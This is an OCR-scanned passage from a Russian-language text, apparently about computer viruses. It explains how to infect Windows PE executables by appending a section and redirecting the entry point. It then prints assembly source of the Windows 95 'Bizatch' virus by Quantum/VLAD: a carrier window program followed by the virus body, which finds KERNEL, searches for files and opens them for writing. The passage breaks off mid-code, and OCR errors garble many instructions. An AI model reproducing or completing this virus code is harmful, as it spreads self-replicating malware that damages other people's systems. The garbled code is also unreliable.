25642-1 (751123), страница 3
Текст из файла (страница 3)
*OBJ Alignment
Physical Size=(size of virus/File Alignment+1 )*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Object Flags=db 40h,0,O.COh
Entrypoint RVA=RVA
Теперь необходимо увеличить на единицу поле "количество объектов"
и записать код вируса по вычисленному "физическому смещению"
в размере "физического размера" байт.
Пример вируса под Windows 95
.386
locals
jumps
.model flat.STDCALL
include win32.inc некоторые 32-битные константы и структуры
L equ
;0пределим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess.-PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn lnvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadlconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
;Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx equ
DefWindowProc equ
DispatchMessage equ
FindWindow equ
GetMessage equ
GetModuleHandle equ
LoadCursor equ
Loadlcon equ
MessageBox equ
RegisterClass equ
TextOut equ
•data
newhwnd dd 0
Ippaint PAINTSTRUCT
msg MSGSTRUCT
we WNDCLASS
mbx_count dd 0
hinst dd 0
szTitleName db "Bizatch by Quantum / VLAD activated"
zero db 0
szAlternate db "more than once",0
szClassName db "ASMCLASS32",0
[Сообщение, выводимое в окне
szPaint db "Left Button pressed:"
s_num db "OOOOOOOOh times.",0
.Размер сообщения
MSG_L EQU ($-offset szPaint)--!
.code
;Сюда обычно передается управление от загрузчика.
start:
.Получим HMODULE
push L О
call GetModuleHandle
mov [hlnst],eax
push L 0
push offset szClassName
call FindWindow
or eax.eax
jz reg_class
.Пространство для модификации строки заголовка
mov [zero]," "
reg_class:
;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
mov [wc.clsCbClsExtra],0
mov [wc.clsCbWndExtra],0
mov eax,[hlnst]
mov [wc.clsHlnstance], eax
[Загружаем значок
push L IDLAPPLICATION
push L 0
call Loadlcon
mov [wc.clsHlcon], eax
; Загружаем курсор
push L IDC.ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
.Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clslpszClassNameJ.offset szClassName
;Регистрируем класс окна
push offset we
call RegisterClass
; Создаем окно
push L 0 .IpParam
push [hinst] .hinstance
push L 0 ;Меню
push L 0 ;hwnd родительского окна
push L CWJJSEDEFAULT ;Высота
push L CWJJSEDEFAULT ;Длина
push L CWJJSEDEFAULT ;Y
push L CWJJSEDEFAULT ;X
push L WSJ3VERLAPPEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class name
push L 0 ;extra style
call CreateWindowEx
.Сохраняем HWND
mov [newhwnd], eax
.Отображаем окно на экране
push L SW.SHOWNORMAL
push [newhwnd]
call ShowWindow
;0бновляем содержимое окна
push [newhwnd]
call UpdateWindow
;0чередь сообщений
msgJoop:
.Прочитаем следующее сообщение из очереди
push L О
push L О
push L О
push offset msg
call GetMessage
;Если функция GetMessage вернула нулевое значение, то завершаем
[обработку сообщений и выходим из процесса
стр ах.0
je endJoop
Преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage
Передаем это сообщение назад в Windows
push offset msg
call DispatchMessage
[Переходим к следующему сообщению
jmp msgJoop
;Выход из процесса
endJoop:
push [msg.msWPARAM]
call ExitProcess
.Обработка сообщений окна. Win32 требует сохранения регистров
;ЕВХ, EDI. ESI. Запишем эти регистры после "uses" в строке "ргос".
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi, hwnd;DWORD, wmsg:DWORD,
wparam:DWORD, lparam:DWORD
LOCAL theDC: DWORD
[Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY
je wmdestroy
стр [wmsg],WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg],WM_SIZE
je wmsize
cmp [wmsg].WM_CREATE
je wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wm paint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
Данная программа не обрабатывает это сообщение.
.Передадим его Windows,
:чтобы оно было обработано по умолчанию
jmp defwndproc
.Сообщение WM_PAINT (перерисовать содержимое окна)
wmpaint:
Подготовим окно для перерисовки
push offset Ippaint
push [hwnd]
call BeginPaint
mov [theDC], eax
;Переведем в ASCII-формат значение mbx_count, которое
доказывает, сколько раз была нажата левая кнопка мыши
mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
; Вывод строки в окно
push L MSG_L ;Длина строки
push offset szPaint ;Строка
push L 5 ;Y
push L 5 ;X
push [theDC] ;DC
call TextOut
;0бозначим завершение перерисовки окна
push offset Ippaint
push [hwnd]
call EndPaint
; Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_CREATE (создание окна)
wmcreate:
; Выходим из обработки сообщения
mov eax, О
jrnp finish
[Сообщение, не обрабатываемое данной программой, передаем Windows
defwndproc:
push [Iparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
[Выходим из обработки сообщения
jmp finish
[Сообщение WM_DESTROY (уничтожение окна)
wmdestroy:
[Закроем поток
push L О
call PostQuitMessage
[Выходим из обработки сообщения
mov eax, О
jmp finish
.Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши)
wmlbuttondown:
inc [mbx_count]
[Обновим содержимое окна
push L О
push L О
push [hwnd]
call InvalidateRect
[Выходим из обработки сообщения
mov eax, О
jmp finish
[Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
wmrbuttondown:
push L 0
call MessageBeep
; Выход им из обработки сообщения
jmp finish
;Сообщение WM_SIZE (изменен размер окна)
wmsize:
[Выходим из обработки сообщения
mov eax, О
jmp finish
[Сообщение WM_GETMINMAXINFO (попытка изменить размер
;или положение окна)
wmgetminmaxinfo:
[Заполним структуру MINMAXINFO
mov ebx, [Iparam]
mov [(MINMAXINFO ptr ebx).mintrackposition_x],350
mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
.Выходим из обработки сообщения
mov eax, 0
jmp finish
[Выходим из обработки сообщения
finish:
ret
WndProc endp
Процедура перевода байта в ASCII-формат для печати. Значение,
[находящееся в регистре AL, будет записано в ASCII-формате
;по адресу ES:EDI
HexWriteS proc
; Разделяем байт на полубайты и загружаем их в регистры АН и AL
mov ah.al
and al.OFh
shr ah,4
[Добавляем 30h к каждому полубайту, чтобы регистры содержали коды
[соответствующих символов ASCII. Если число,
;записанное в полубайте, было больше 9,
;то значение в этом полубайте надо еще корректировать
or ax,3030h
.Меняем полубайты местами, чтобы регистр АН содержал младший
.полубайт, а регистр AL - старший
xchg al.ah
;Проверим. надо ли корректировать младший полубайт,
.если да - корректируем
cmp ah, 39h
ja @@4
[Проверим, надо ли корректировать старший полубайт,
;если да - корректируем
@@1:
cmp al,39h
ja @@3
;Сохраним значение по адресу ES:EDI
@@2:
stosw
ret
.Корректируем значение старшего полубайта
@@3:
sub al, 30h
add al, "A"-10
jmp @@2
[Корректируем значение младшего полубайта
@@4:
sub ah, 30h
add ah, "A"-10
jmp @@1
HexWriteS endp
[Процедура перевода слова в ASCII-формат для печати.
[Значение, находящееся в регистре АХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite16 proc
;Сохраним младший байт из стека
push ax
;3агрузим старший байт в регистр А1_
xchg al,ah
.Переведем старший байт в ASCII-формат
call HexWrite8
; Восстановим младший байт из стека
pop ax
Переведем младший байт в ASCII-формат
call HexWrite8
ret
HexWrite-16 endp
Процедура перевода двойного слова в ASCII-формат для печати.
;3начение, находящееся в регистре ЕАХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite32 proc
.Сохраним младшее слово из стека
push eax
; Загрузим старшее слово в регистр АХ
shr eax, 16
[Переведем старшее слово в ASCII-формат
call HexWrite-16
[Восстановим младшее слово из стека
pop eax
[Переведем младшее слово в ASCII-формат
call HexWrite-16
ret
HexWrite32 endp
[Сделаем процедуру WndProc доступной извне
public WndProc
ends
[Здесь начинается код вируса. Этот код переписывается из файла
;в файл. Все вышеописанное - всего лишь программа-носитель
vladseg segment para public "vlad"
assume cs:vladseg
vstart:
;Вычислим текущий адрес
call recalc
recalc:
pop ebp
mov eax.ebp
db 2Dh ;Код команды SUB AX
subme dd 30000h+(recalc-vstart)
;Сохраним адрес в стеке
push eax
[Вычислим стартовый адрес вирусного кода
sub ebp.offset recalc
.Ищем KERNEL. Возьмем вторую известную нам точку KERNEL
mov eax,[ebp+offset kern2]
Проверим ключ. Если ключа нет, перейдем к точке 1
cmp dword ptr [eax],5350FC9Ch
jnz notkern2
;KERNEL найден, точка 2
mov eax,[ebp+offset kern2]
jmp movit
;Точка 2 не подошла, проверим точку 1
notkern2:
;Возьмем адрес первой известной нам точки KERNEL
mov eax,[ebp+offset kern1]
Проверим ключ, если ключа нет - выходим
cmp dword ptr [eax],5350FC9Ch
jnz nopayload
;KERNEL найден, точка 1
mov eax,[ebp+offset kern1]
;KERNEL найден, адрес точки входа находится в регистре EAX
movit:
.Сохраним адрес KERNEL
mov [ebp+offset kern].eax
eld
;3апомним текущую директорию
lea eax, [ebp+offset orgdir]
push eax
push 255
call GetCurDir
; Инициализируем счетчик заражений
mov byte ptr [ebp+offset countinfect],0
;Ищем первый файл
infectdir:
lea eax, [ebp+offset win32_data_thang]
push eax
lea eax, [ebp+offset fname]
push eax
call FindFile
;Сохраним индекс для поиска
mov dword ptr [ebp+offset searchhandle],eax
.Проверим, найден ли файл. Если файл не найден,
.меняем директорию
стр еах,-1
jz foundnothing
[Откроем файл для чтения и записи
gofile:
push О
push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL
push 3 ;OPEN_EXISTING
push 0















